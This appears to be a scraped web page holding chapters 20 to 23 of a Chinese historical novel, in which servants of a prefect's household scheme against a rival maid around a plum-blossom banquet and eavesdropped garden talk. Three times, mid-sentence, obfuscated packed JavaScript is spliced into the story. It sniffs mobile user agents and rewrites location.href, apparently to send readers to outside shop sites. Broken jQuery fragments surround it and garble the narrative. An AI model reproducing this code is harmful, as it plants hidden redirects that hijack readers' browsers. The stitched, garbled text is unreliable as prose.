等秦秋将眼前这笔账目算完，才搁下手里的物事，眼角眉梢不乏得意之色，道：“我想了个法子，一劳永逸。她若幡然醒悟，与她联手之人也许只会被小惩大诫，可她若贼心不死，只会自食恶果。” 20. 第二十章 萧举年听得兴味正浓，可秦秋就这么简单地交待了两句，就又低头去翻账册了，他哑然失笑，道：“所以你的法子是什么呢？连我都不能说？” 秦秋抿唇一笑，连连摇头。 萧举年只好起身向她走去，才走到书案前面，就见秦秋将手中账册一阖一推，抬头说道：“这一本账目也盘算清楚了。”说完，又递过去三页黄麻纸。 萧举年接过，先是粗略一看，啧啧称赞道：“秦秋，你真适合去当个账房！” 秦秋笑而不语，她扭头看看天色，到底是惦记着凝晖轩的事，遂开口道：“账册可疑之处我都已记在那三页纸上，萧录事看看可有不明之处，若无疑问可否容我先告退？” 萧举年正将那薄薄的纸张卷好了欲塞进衣袖，闻言手下动作一顿，挑眉看着秦秋：“大人说你如今专在书房当差，怎的，这未时还没过你就想偷溜了？” 秦秋微窘，萧录事这话里的意思是她偷懒呗！实话当然不能说，她只好随口胡诌道：“明日老夫人要办赏梅宴，萧录事可在受邀之列？” 萧举年喉间溢出一声轻笑，道：“老夫人这请柬应是发给朗州各家女眷的吧，你瞧着我像在受邀之列？” 秦秋煞有其事地点头瞎诌：“听闻老夫人的请柬发得极多，我还以为萧录事也收到帖子了呢。毕竟府里上下谁不知道，老夫人颇为器重萧家两位郎君。明日的宴席极其隆重，凝晖轩也被分派了活计，我如今虽领了书房的差事，但是老夫人设宴，我也是不敢偷懒的。”言下之意便是自己没有偷溜，要去忙明日的宴席呢。 “既如此，你去吧，这账册的舞弊之处，你都写得一清二楚了，我要再看不明白，岂不是要让你背地里笑话我？”萧举年无奈地摇摇头。 “萧录事又打趣我了！燕雀安敢笑鸿鹄。多谢萧录事体谅，婢子告退。”萧举年本欲再接一两句话，秦秋却已匆匆行了一礼几乎是小跑着出了书房。 燕雀安敢笑鸿鹄？萧举年将目光投向书架，沉吟道，唔，昨日他进门时，这丫头手上的是南华经吧。 和熙堂内，刘母此刻正歪在东屋的暖榻之上打盹儿，木槿趁了这空隙踱步到西屋说话。刘母那日嘴上嚷嚷着要接进府里过年的八丫头和九丫头，是刘家的两个族亲，进府之后被安置在了和熙堂正房的西梢间。 木槿跨进西屋时，八姑娘刘从绵和九姑娘刘从绥正在逗猫，见了木槿，二人忙亲热地将她往榻上让，又赶着叫“木槿姐姐”。木槿与二人也是老相识，刘母每隔两三个月就要将她二人接进府中小住一段时日，二人算是这西梢间的常客。 木槿也不谦让，笑盈盈地在暖榻之上坐了，道：“两位姑娘住得可还习惯？” “若我们说不惯，木槿姐姐是要送我们家去么？”刘从绵挽了木槿的一只手，笑道，“与姐姐说笑呢，我二人方才还在说呢，这次好生奇怪，往年可没有在小年之前将我二人接进府里的先例，这回是怎的了？” 未及木槿答话，刘从绥已经一脸天真地问道：“莫非真像旁人说的那般，是为了给大哥哥相看新嫂子么？可我还怪想念蒋姐姐的。”刘从绥年纪小，心直口快，刘从绵想捂她嘴都来不及。 她话音落下，刘从绵面上不由闪过一丝尴尬，有些不安地翘首往东屋的方向看了两眼。 木槿会心一笑，对着二人摇头，道：“放心，老夫人在歇晌呢。九姑娘的话倒也没说错。只是呢，也不全是那样，老夫人确是真心念着两位姑娘的，想着你们来了，和熙堂也能热闹些。” 刘从绥被姐姐敲了脑袋才意识到自己说话造次，但问都问了，索性问到底：“木槿姐姐，你说，伯娘想为大哥哥再相个什么样的新妇？” 木槿笑了，道：“这我可就不知道了，但是明日呢，两位姑娘可是身负重任，你们要好好招待别家的小娘子，仔细留意她们的言谈品性，等宴席散了，你二人可是老夫人的军师呢。” 刘从绥忙不迭地点头，忽然脑袋一歪，又问道：“那我们昨日见过的郭二姑娘也去吗？” “自然是要去的。”木槿点头。 刘从绥托着下巴一叹：“郭二姑娘生得可真好看呐，朗州城内，我就没有瞧见过比她更俊俏的小娘子！木槿姐姐，你说，要是大兄娶了——唔——”这下刘从绥的嘴巴被刘从绵捂住了。 木槿看着好笑，恰在此时，听到外间有人轻声喊道：“木槿姐姐在吗？”木槿对着二人略一颔首，趁机起身离去。 等木槿走了，刘从绵才把手放下，拧着眉头轻斥道：“再这么口没遮拦，我就派人传信给祖父，咱们早日家去是正经。” “木槿姐姐在吗？”秦秋又低声问了一句。 木槿打起帘子，见到来人，明显一愣，不怪她惊异，秦秋可是从不会到和熙堂闲逛的，更令人吃惊的是，她身后还紧跟着一个人，不是旁人，正是青梧！青梧此刻微微垂着头站在秦秋身后，青梧站在秦秋身后，这可真是大白天见鬼了！ 木槿往东屋的方向看了两眼，低声吩咐了门边的小丫鬟两句，才招呼她二人往东厢的卧房去了。 等进了屋子，木槿立时将她二人往炕上一推，她二人跌坐在床沿，木槿自己则抱着手臂站在她二人身前，目光来回逡巡，伸手一指，对着秦秋说道：“你，说，怎么回事？” 还没等秦秋开口，青梧猛地抬头看向木槿，悲戚地低声呼道：“木槿，救我！” 木槿这才反应过来还有一处不对劲的地方，青梧从方才到现在一直垂着头，直至此时她才发现她眼皮肿了，显然已经狠狠地哭过一场。木槿忙在青梧另一侧坐了，伸手环住她，道：“怎么了这是？凝晖轩还能有人欺负你不成？” 这一问，让青梧直接扭头伏在木槿肩上，痛哭起来。 木槿一面柔声安慰她，一面拿眼神不住地示意秦秋。 秦秋沉沉一叹，她也没料到，碧霄和黄三儿这两人勾搭得那么快。 她早早地从外书房回了凝晖轩，本意是想问青梧，清渊阁那边怎么交待的，岂料，一进院门就听到了闲言碎语。 青梧的娘生前是刺史大人的乳母，凭着这情分，虽然她娘早逝，可青梧依旧进了凝晖轩，她的同胞哥哥也在外院领了收租的差使，那本是个清闲肥差，可奈何她哥哥不争气，每月的月钱都拿去吃喝花尽，犹嫌嚼用不够，一直想藉着青梧的亲事狠狠地捞上一笔。 黄三儿得手了那包袱之后，果然一刻不停地上门提亲去了。论理，青梧的哥嫂是不会应下这门亲事的，不仅不答应，还将黄三儿臭骂了一顿。他二人也不傻，日夜盼着青梧能当上大房的姨娘，姨娘一个月的月钱可是五两银子，他二人就指望着日后打秋风，让青梧贴补他们。 可黄三儿是赌场里厮混惯了的人，威胁耍混那一套玩得滚瓜烂熟。他在青梧家一顿撒泼，一时取出碧霄的那个包袱，一时又许诺给二百两银子的聘财，威逼利诱之下，青梧的哥嫂竟松口了。毕竟，青梧这些年对他们可是冷淡得很，对他二人而言，日后的指望哪有眼前的二百两聘财实在！ 是以，秦秋一回院里，就听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598222|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说青梧的嫂子今日来寻过青梧，二人大吵了一架，她嫂子是被青梧骂走的。 青梧仍在抽噎，木槿急得额上冒汗，对着秦秋喝道：“你倒是说话呀！一个只会哭，一个又跟哑巴似的，我又没有千里眼，上哪儿知道你们出了什么事？再不说，一会儿老太太醒了叫我，我可就没功夫搭理你们了！” 秦秋忙将事情从头到尾说了一遍，直让木槿听得怔在当场。 “所以昨日青梧问我寻料子，是为了，为了……这是你出的主意？”木槿看向秦秋。 秦秋点点头，才要说话，青梧却止住了哭声，一双眼睛哭得通红，失神地看着木槿，道：“木槿，你我也是一块长大的，这些年你时常说我脾气坏、嘴巴毒，得理不饶人，我晓得我有错，可是你还记得吗，我幼时也不是这么逞强的一个人！我娘去了，我哥哥嫂嫂又是那样的人，我若不厉害些，我在凝晖轩能站得稳吗？可，可就算我嘴巴再坏，就算我小心眼，我说话刻薄，我也不曾害过谁呀！如今碧霄却是想要我的命。今日你给我一句话，帮不帮我？你帮我还是帮她？” 木槿被她这一叠声的追问弄得好气又好笑，不由地也沉了脸，训道：“胡说八道！我几时说过不帮你了？我几时说要帮她了？你这脾气怎就一点也改不了！” 青梧红了脸，垂眸不语。 木槿深吸一口气，道：“放心，老太太早就放了话，凝晖轩的人，除非先前已定了亲事的，其他人一概都不放！这亲事，就算你哥哥嫂嫂答应了也没用，你别急，老太太一时半会儿该醒了，我现下走不开，你且等上小半个时辰，我亲自往你家去一趟，定将你哥嫂骂一顿再将聘财退了。至于那个叫黄三儿的，赏一顿板子撵去庄子上。” 青梧眼里噙着泪，感激地看着木槿。 秦秋咳了一下，道：“木槿姐姐，其实我们来呢，不是让你上门去训斥他二人，而是希望你能帮我们在老夫人面前争取一个当面对峙的机会？” 木槿不解地皱眉：“当面对峙？你要对峙什么？” 秦秋忙起身凑到木槿身旁，附耳说了几句话。 “什么？你说碧霄偷的衣裳是郭——”秦秋忙捂住她的嘴，道，“嘘，小声些！” 木槿拨开她的手，气得狠了，伸手就给了她头上一个爆栗，骂道：“你胆子也忒大了！我说呢，怎么今日青梧在你身边倒像是个小跟班，这想必是你出的主意吧？” 秦秋扯出一抹苦笑，道：“木槿姐姐，你还有更好的主意吗？” “可是——”木槿噎住了，却仍是不死心地说，“你们就该在发现碧霄偷了手帕给黄三儿的时候来找我，我自会去找老夫人呈清一切。” “可之后呢？碧霄若矢口否认呢？顶多治黄三儿一个拾遗不报，可老夫人会怎么想青梧？碧霄日后再做些别的怎么办？” 木槿被问住了，答不上话来。 “我们这些做丫鬟的，主子若是愿意，可能会听我们辩解两句，若是不愿意，也许是非黑白就都不重要，双方各打五十大板，远远地发落了好图个清静。我们这些身处卑下之人，若想让上位者惩治恶人，只有把恶人的伤害延伸到他们身上才行，只有触及到上位者的名声和利益，他们才会有雷霆手段。” 秦秋这番话说完，木槿和青梧俱皆沉默。良久，木槿缓缓叹道：“你这局都布下了，事已至此，我也只能尽力。只是黄三儿是二房的人，牵扯了那边，若想如你所愿闹大，我们还需找一个人帮忙。” “谁？” “春雪。” 21. 第二十一章 腊月十八这日，凝晖轩众人早早地到了眠鹤院候命，老夫人今日的赏梅宴正是设在此处。 眠鹤院是刘府后园景致最好的院子，院内建有一正两副三栋阁楼，正楼后头临着水池，夏日赏荷极其清凉，前头隔着数株梅花与戏台相望，冬日里在此间那是听戏、赏梅、观雪三不误。 刘母和各家主母的宴席便都安置在正楼，未出阁的年轻姑娘们则在东楼设席，由郭云喧和刘八、刘九三人作陪，丫鬟婆子们则在西楼侍立，预备着传菜传酒、添茶递水。 收到请柬的各家女眷谁人不知，在过去的一年，刘府因着刺史夫人新丧停了宴请、罢了戏酒，各家谁不为少了与刺史府的交际而扼腕叹息，如今接了老夫人的帖子，又逢刘刺史妻丧已满之际，谁不踊跃！ 是以，十八这日巳时才过，短短半个时辰，各府女眷竟已到齐，眠鹤院一时花团锦簇、群芳争妍。 刘母被郭氏和裴氏簇拥着坐在正楼的席上，真是彩袖殷勤眼花缭乱，逢迎之语不绝于耳。 右侧席上的那位定远将军吴家夫人掩袖笑道：“还是老夫人有福气，这儿媳一个赛一个地能干，咱们在这听戏，这戏文都带着梅花香呢，我府上设宴就没有这么巧的心思！二夫人掌管府中庶务，还能有此风雅闲情，真是个妙人！”说完，还不忘朝郭氏递了一个浅笑。 郭云静面色一僵，咬牙剜了她一眼，蠢不蠢，这宴席不是她张罗的，这么蠢的人家，自家夫君怎就对那位吴将军和吴四郎深信不疑！ 吴夫人犹不知自己哪里说错了，明明是示好，这位二夫人怎么这幅脸色。 一旁的朗州别驾夫人看出了端倪，遂笑道：“对了，近日京师的逸闻你们可曾听说？”早有几个有眼色之人看到了郭吴二人的眼底官司，忙凑趣答道：“哎哟，我们不像虞夫人有亲戚在京师，我们哪里晓得！虞夫人别卖关子了，快与我们说说。” 刘母正对郭云静刚才的表现不满，暗含警告地撇了她一眼，见虞家的解围，她亦呵呵笑道：“正好，老身也许久不听京中逸闻了，虞夫人有什么时鲜见闻，快说来好与我们下酒！” 众人不禁都笑了，吴夫人亦松了一口气。 虞夫人笑道：“朝廷改了贼盗律，以毒药杀人之科更从重法。”她说完这句竟停了下来，慢条斯理地端起手中茶盏呷了一口。 “就这？没了？这算什么逸闻？咱们又不触犯朝廷律法。”一人咂嘴说道。 裴明霜笑道：“虞夫人这是唱戏开场的那一嗓子，在勾我们的心呢！想必这真正的故事，是这毒药杀人之科为何更改吧？” “哈哈哈，三夫人果然灵巧聪慧！”虞夫人放下茶盏，继续说道，“这后面的缘由属实是骇人听闻了，简直旷古未闻！” “好了，你别卖关子了！被你吊足了胃口！”一人嗔道。 郭云静垂下眼眸，咬碎一口牙。 虞夫人这才缓缓开口：“原右骁卫将军有一爱妾，颇受宠爱，有凌驾其正妻之势，某日这位将军在别院设宴款待光禄大夫杨大人，其妾作陪，杨大人深责将军宠妾灭妻，其妾怒恨，竟密以毒药置酒中，杨大人当场饮酒暴毙——” “啊！” “竟有此等丧心病狂之事！” “天杀的！” 话未竟述，宴席中已是此起彼伏的抽气声，虞夫人叹道：“此案可谓轰动京师，那妾已被绞杀，右骁卫将军配流岭表，杨大人之妻不服，又叩天子门前喊冤，最终天子遣使于流放途中就地斩杀了那位将军，一并连律法都改了。” 众人听完不由一阵唏嘘，也有人拍手称快：“虞夫人这故事好，待我今日回府就说给我家夫君听，看他还惦不惦记纳妾了！” 此话一落，席间各人不免都哄然一笑。 刘母亦点头附和，道：“正是这个理呢。” 那吴夫人又趁机夸赞：“可不是嘛，像刘刺史这般敬重发妻的可真是世间难得！” 这夸赞虽然直白而突兀，但是刘母还是十分受用，旁人见了，亦都你一言我一语地夸赞起刘从俭来，尤其是自家有闺女的人家，心思不由都活泛起来。 只有一人不受用。郭云静藏在袖中的手都攥得青筋暴起，这是在嘲讽她吗？谁人不知，刺史府大房和三房均无妾室，只有二房姬妾成群，这意思是让她小心日后二房也落个发配斩首的结局吗？ 郭云静深吸一口气，才压抑住喉间翻滚的情绪，俯身凑近刘母，低声道：“母亲，我去厨房看看膳食备得如何了。” 刘母早察觉她情绪有异，微一颔首，道：“去吧。” 郭云静对着众人浅浅一笑，才提步下楼，旁人又是一番夸赞，道是二夫人贤能，郭云静听着身后传来的声音，心里才多少舒坦了一些。 “蠢货！一群蠢货！”只是一离了眠鹤院，郭云静就再也忍不住了，在无人处破口大骂。 春雪跟在她身后，不敢则声。几人随着郭云静一路逶迤往厨房的方向行去。出了后园的月洞门，又拐过一座假山，忽然从通往厨房的一扇角门后面隐隐传来说话声。 春雪率先认出其中一个声音是马嬷嬷，另一道似乎是个男人，她的心狂跳起来，想到昨夜木槿与她说的话，春雪掌心开始冒细汗。 “二夫人——” “嘘，别声张！我倒要瞧瞧谁敢在我眼皮子底下弄鬼！”郭云静显然也听出了说话的人当中有一个不是内宅之人，她此时怒气未消，陡然撞见这事更是火上浇油。今日有客，若是被旁人知道内宅之中有人私会外男，她的脸往哪儿搁！已经再三被打脸，她倒是要看看门后面是哪个狗胆包天的。 郭云静气势汹汹地疾步过去，怒喝道：“哪个狗奴才，给我滚出来！” 马嬷嬷今日一早就被派来厨房盯着膳食，正忙得不可开交之际，却有一个小厮来传口信，说是她侄子黄三儿在厨房外面的角门那儿等她，有十分要紧的事。马嬷嬷虽然心里恼怒侄子在这个时候来添乱，但仍是咕咕嚷嚷地走了出去。 一见了马嬷嬷，黄三儿便添油加醋地将“青梧”如何看中了他、他又如何上门提亲、青梧的哥嫂如何应下又反悔的事一股脑地全倒了出来。 马嬷嬷起初倒是不信侄子的话，她虽是二房的人，但是凝晖轩的事她多少也知道一些，青梧是谁，那是预备着以后给大爷做姨娘的，如何能两三日内就改了主意看上自家侄子？ 黄三儿见马嬷嬷不信，又信口雌黄地瞎编一通，只道：“姑母，你别不信我，你看你侄子，一表人才，你又在二夫人那儿得脸，也就是我想挑一门好亲事才耽误至今，否则你早当上姑祖母了。况且，这个青梧，她若是能当姨娘，岂不是早当了？说不定她已经知道在大房没有奔头，如今年纪到了，在后园看到了你侄儿，就想抓住你侄儿这个金龟婿！” 马嬷嬷犹不敢全信，黄三儿继续编道：“可如今这事儿，她哥嫂昨日晌午才应得好好的，我下午就放出风声去了，可谁知到了今日，他们又反悔了，说是被老夫人叱责了，还说我行事不端、诋毁内宅名声，要赏我板子发落出去！姑母，你说，这口气，我能忍，你能忍吗？这哪儿是在发落我呀，这是在打你的脸呀！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598223|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 马嬷嬷听到这才上了头，正要开口说两句，郭云静就领着一群丫鬟仆妇杀了过来。 马嬷嬷吓得对着黄三儿就是一脚，将他踢倒在地，自己也一骨碌跪下，叩首道：“二夫人勿动怒，是老奴！是老奴！” 黄三儿跪在地上，只看到锦绣绫罗簇簇一片衣角，又闻香风阵阵，等听清自家姑母的告饶声之后，才浸出冷汗，跪在地上磕头不已。 郭云静更怒了，骂道：“是你？好啊！我身边的好奴才，青天白日私会外男，专挑好日子作死，做下这等没脸的事儿！春雪！传管事的过来，这个小厮，即刻打死！将这老货打五十板子，远远地发落了，别再让我看见她！” 黄三儿吓得立时瘫软在地，马嬷嬷一听，情急之下直扑向郭云静脚边，抱住郭云静一只脚，哭道：“二夫人息怒，这是老奴的侄子，老奴一把年纪了，怎会如此不知羞！” 郭云静气得直蹬腿踹她。 “二夫人别赶我，私会外男的另有其人！二夫人，凝晖轩有人做下丑事了！”马嬷嬷一着急，脑子就不够使了，着急忙慌地就把黄三儿的话搬了出来。 春雪一抖，来了！ 郭云静一听“凝晖轩”三个字，果然来了精神，她停下脚上的动作，一手挑起马嬷嬷的下巴，脸上晦涩不明，道：“你说什么？凝晖轩有人私会外男？” 马嬷嬷咽下一口唾沫，事到如今，不说不行了，她的下巴在郭云静手里点了一下，也不敢扭头，只伸手指着黄三儿跪地的方向，道：“那是我的侄儿，黄三儿，前两日他奉命修缮后园，遇见了青梧……” 郭云静听完，连连冷笑，道：“好啊，好啊，老太太前些日子才说我多管闲事，这会凝晖轩的人做下这等没脸的事，我看她还有何话说！我问你，你认准了，那个人是青梧？她真给了你她贴身衣物？” 黄三儿此时冷汗涔涔，那包袱是自己抢的，但事已至此，若是自己不认，可就是个即刻打死的下场，他忙点头如捣蒜，道：“千真万确，是她给奴才的。可是，昨日他们家本来应下了婚事，到今日又反悔了，说是昨夜老夫人派人去训斥了一遭。” “好，好，好！老夫人就是偏心，这定是为了她自己和大房的脸面，我今日偏要打这个脸！走，你们两个现在就跟我走，去见老夫人！”郭云静被怒火冲昏了头脑，冷笑着就要折返回眠鹤院。 马嬷嬷大惊，那边可正在宴客，这会儿过去，他们必死无疑。 春雪也是大惊失色，虽说要对峙，可这个时候，老夫人震怒之下，恐怕会将青梧也直接打死了事！她忙拦腰抱住郭云静，急声道：“二夫人，不可！” 郭云静瞪着她。 春雪手上松了些力道，硬着头皮，颤声说道：“二夫人，眼下几乎满城官眷都在眠鹤院，这个时候过去，二夫人会彻底失了老夫人的欢心，为了一个奴婢，得不偿失啊！此时过去，凝晖轩没了脸面就是刺史府没了脸面，若刺史府没了脸面，老夫人怎会不迁怒二夫人？” 马嬷嬷亦膝行上前抱住郭云静的腿，道：“二夫人，春雪说得对呀！” 一阵寒风吹过，郭云静清醒了几分，她看向春雪。 春雪继续说道：“可巧今日凝晖轩的丫鬟都在眠鹤院伺候，大爷也在府上，奴婢觉着，莫若等宴席散了，二夫人再趁机提起此事，当着大爷的面，让马嬷嬷的侄子与凝晖轩的人当面对峙岂不更好？” 黄三儿后背一凉，还要对峙啊，他正要开口，风中已传来郭云静的声音—— “好！就依你说的办！果然还是你贴心。” 22. 第二十二章 眠鹤院东楼，起初来赴宴的姑娘们都还有些拘谨，但是刘从绵和刘从绥，一个大方随和，一个活泼率性，二人不时说些笑话凑趣，又有一个姿容绝代的郭云喧在一旁作陪，众人渐渐都放松下来。不多时，彼此交换了名姓序齿，三三两两地凑在一块儿说话。 忽然，虞家七娘朗声说道：“咱们这般闲聊也甚是无趣，可巧今日这雪下得好，梅花也开得俏，不如咱们联句作诗吧？” 朗州城内，论官职大小，刺史之下便是别驾，在座诸人也都是彼此相熟的人家，虞七娘这话一出，旁人岂有不附和答应的，虞七娘又笑着看向郭云喧，道：“郭二姑娘才从蜀中来朗州，与我们不熟，不知姑娘可会作诗？” 刘从绥觉着这话甚是无礼，她皱着眉头就要搭腔，被姐姐一把拉住，刘从绵对她摇摇头，示意她看郭云喧。 只见郭云喧盈盈一笑，款款起身，道：“虞姑娘还真是把我问住了，我确实不会作诗。你们看这样可好，这楼后头就是梅园，我去折几枝梅花回来，给你们夺了诗魁的当彩头如何？”眠鹤院内的几株梅花只是点缀，东楼后头还有一片占地十数亩的梅园。 郭云喧话音刚落，她的贴身丫鬟寄竹和刘从绵都不着痕迹地瞟了她一眼。 虞七娘没想到对方应得如此直接，一时倒不知该怎么接话。 郭云喧说完，也没打算等众人的反应，只偏头对着刘从绵姐妹的方向微一颔首，就兀自带着丫鬟离开了。 等出了眠鹤院、进了梅园，寄竹才开始抱怨：“这个虞姑娘也真是的，哪来这么自大的人！还问姑娘你会不会作诗，她晓不晓得，姑娘你曾师从谢夫子！” 郭云喧此时才卸了脸上的温和，嘴角一勾，带出三分讥诮，道：“行了，别替我抱不平了，今日这赏梅宴是为何而办？她们是为了刺史夫人的位置来的，你家姑娘我又不惦记这府里的事，这不刚好两全其美？她们在楼上一展身手，我们来这梅园透气，不好吗？” 二人往梅园深处走去，寄竹跺着脚，道：“姑娘，怪冷的，咱们随便折两枝就回去好不好？” 郭云喧搓着手哈着气，点头道：“随意折两枝给她们当彩头，再细细挑两枝回去插瓶，咱们先回清渊阁松快松快。” “好嘞！”寄竹笑着应下，扭头去寻哪一树梅花开得最好，见四下无人，她又嘀咕起来，“姑娘，说实话，我觉得刺史大人还挺不错的，虽说年纪是大了些，可难掩一身风姿气度，至少比咱们姑爷看起来要气派正直，在朗州城内也算是位高权重，且膝下又无子嗣，虽说是继室，可一进门就是四品刺史夫人、手握掌家大权，难怪她们都不嫌弃刺史大人老呢！” 梅林深处，尉迟延险些笑出声来，他一手成拳抵在唇边，眼里尽是揶揄，唔，刘从俭这张脸的确是有些饱经风霜了，但也风韵犹存。 萧举年把眼睛转向别处，脚尖点地，刮了一下，唔，冷而潮的雪地。 刘从俭的脸色倒是平静得很，只淡淡地瞥了一眼好友，又瞥了一眼下属，装作与他无关，可主仆二人显然不知道梅园里还有别人，对话仍在继续—— 郭云喧指挥着寄竹：“折那枝，你手再往上一点。你这话呢，说得对，也说得不对。就拿那位虞姑娘来说，若她是个喜欢权力的人，那嫁给刘刺史这样的人是最好不过了，夫君整日不温存、不体贴、不着家都没关系，单是刺史府当家主母这个身份所附带的权势就能让她快乐，各得其所，是一桩好事。可若她是个满心想着情爱的女人，那嫁给刘刺史，恐怕她会郁郁寡欢的，不仅得不到她想要的东西，还要劳心劳力做这府里的大管家，最终怕是会寂寥收场。” 尉迟延眼皮一跳，看向刘从俭，对方脸上的平静已经变成了落寞。尉迟延一叹，看来是想起了亡妻。 萧举年低着头，专心刮土。 “啪”地一声脆响，寄竹用来掰下一枝梅花递给郭云喧，又道：“姑娘，我晓得了，你的意思是，若是这位姑娘想寻一位懂得嘘寒问暖、体贴人心的夫君，就别盼着做刺史夫人了，对不对？不如，嗯，不如像咱们大小姐那样？” “呵！”郭云喧将那枝梅花放在鼻子底下轻嗅两下，道，“先前那话呢，好歹是对错参半，现在这句可是全错了。若是东楼里那些小娘子想要寻疼人的夫君，该像这府里三夫人那样，可不能跟我那位傻姐姐学。” “姑娘，这话怎么说？我那日瞧着，大姑爷对大小姐说话轻声细语的，大小姐笑得可开心了！” 郭云喧又给寄竹指了一枝，才哂笑道：“我这位姐夫啊，都是嘴上的功夫，会说几句哄人的话而已。哄人的话嘛，一个铜板都不费，你要是想听，下个月月钱我就不给你了，每天给你说一箩筐抹了蜜的话，包管让你每日都开心，如何？偏我这位姐姐啊，还真信了他的表面功夫，为了这点虚假的温存，甘愿掏心掏肺劳心劳力，蠢得没边了。” 尉迟延的一颗心忽然像被猫爪挠了一下，有些发痒，他微微踮起脚尖，想瞧瞧这位郭二姑娘是个什么模样。只是脚上才刚发力，就被刘从俭按住肩膀，往下一压。尉迟延瞪着好友，对方板着脸，不赞同地回视着他。 寄竹黑着脸，道：“姑娘，你也忒黑心了！当我傻是不？谁放着月钱不要，专要听哄人的话呀！照你这么说，哄人的话，我还可以自己对自己说呢。”嘴上这么说，手里已经麻利地又折下一枝。 郭云喧笑嘻嘻地接过，道：“那你可得记住你今日的话，可别过了几年，被哪个小厮骗了去，哭着喊着求到我跟前让我成全你。” “我才不会那么缺心眼呢！那，姑娘，你喜欢什么样的啊？” 尉迟延收回瞪向好友的目光，又轻轻地把头转了过去，竖着耳朵，他也有些好奇，这位语出惊人的郭二姑娘想寻个什么样的良人。 在二人身后的萧举年脑子里却闪过一张脸，不，是一个画面，心头忽然涌上一句话，唔，我好像喜欢这样的。 “好好折你的梅花，快，随便再掰两枝咱们就回去了！” “姑娘，你别这样呀，刺史府的人今日要么在眠鹤院，要么在厨房呢，这儿又没外人。对了，说不定梅花花神在看着咱们呢，你说出来，求花神保佑呀。” 郭云喧被逗笑了，她环顾左右，似乎此刻真的有一个冷清高雅的花神在俯瞰这方天地，在俯瞰这满园幽香和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600774|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们主仆二人，她一时起了玩心，遂笑道：“你家姑娘我呀，这般貌美，自是要寻一个风华绝代的郎君，这样我才能喜欢他，可这位俊俏郎君呢还得家世贵重，这样他才能护住我。你忘了益州那家人的事了？” “呸呸呸，姑娘莫要再提那家人，什么玩意儿！咱家老爷在世时也是五品京官，他们是什么东西，也不照照镜子，就敢口出狂言，姑娘莫要再想那些糟心事！好了，咱们回去吧！”寄竹手里捧着两枝红梅，满脸嫌弃地骂道。 郭云喧笑了笑，主仆二人肩并肩离了梅园。 等外间彻底没了声响，尉迟延才拧着眉头，看向刘从俭，道：“我说呢，你们家老二的岳母和妻妹怎么会这么奇怪，哪有人赶着过年来投亲的？原来是避祸！诶，益州什么事？是谁家？你我的先祖可都在昭陵里睡着呢，咱们这样的人家，还能让什么阿猫阿狗都欺负上门不成？” 刘从俭凉凉地撇了他一眼，道：“咱们这样的人家？益州没人去宣州闹事，也没人来朗州闹事，谁欺负上门了？” “你这人也忒不近人情了吧！郭家可是你们家姻亲啊，欺负郭家孤儿寡母不就是不把你们刘家放在眼里？刘大，你怎么能说出这种话！我白认得你了！”尉迟延气急。 萧举年忙道：“郎君勿激动，我家大人先前并未听说过此事。阖府皆知，郭夫人和郭二姑娘是来探望府上二夫人的。卑职想，此事关乎女子名声，怕是连二夫人也不知内情。” 尉迟延神色稍霁，颔首道：“你说的在理。” 谁知，刘从俭又冷笑一声，道：“还有，什么叫‘哪有人赶着过年来投亲的’，我倒是好奇，你又是怎么如天降神兵一般，今早出现在我家门口的？” 尉迟延心虚地咳了两声，道：“我这不是惦记着你嘛！唔，身为你的至交好友，我不忍心看你形单影只、对月凭吊，所以特意从宣州赶来朗州，陪你过年。你看，你家老二跟老三，都是妻妾成群、儿女成双，独你，孤鬼儿一个，我若不来，你岂不是要一个人在凝晖轩临风洒泪！” “我家老三没有妾。” “你！”尉迟延语噎，翻了一个白眼，才道，“我不管，等席散了，我还得去拜见你家老夫人呢。这个年我是在你家赖定了。” 刘从俭不理他，转头往梅园更深处走去，最深处有一个小小的暖阁，比在外面喝冷风要强。三人脚下的乌皮靴踩在雪地里，不时发出“沙沙”声。 尉迟延耐不住寂寞，才走几步，就攀住刘从俭的肩膀，叹道：“好吧好吧，实话告诉你，正如你阿娘催着你续弦，我阿兄也催着我成亲呢，我只好躲来你这了，清净。” 刘从俭面上缓了缓，却仍是将他的手从自己肩上拨下去，片刻，才道：“晚些，我给尉迟刺史去信一封，省得大年节下的，他担心你。” 尉迟延笑了，又挤到萧举年身边，道：“诶，萧大，你见过这位郭二姑娘吗？她长得是何模样？真如她自己说的那般貌美？” 萧举年脸色一僵，扯着嘴角，道：“尉迟郎君莫要打趣我，我怎会窥探内宅女眷？” “那，刘大该见过吧！诶，前面的，你倒是说话呀！” 23. 第二十三章 再说郭云静那厢，论理，她好歹也是管家一年的人，若是放在平日，她断不会只单听了马嬷嬷姑侄俩的话就这般冲动上头，可世事就是这般凑巧，也许是合该好人的运道。 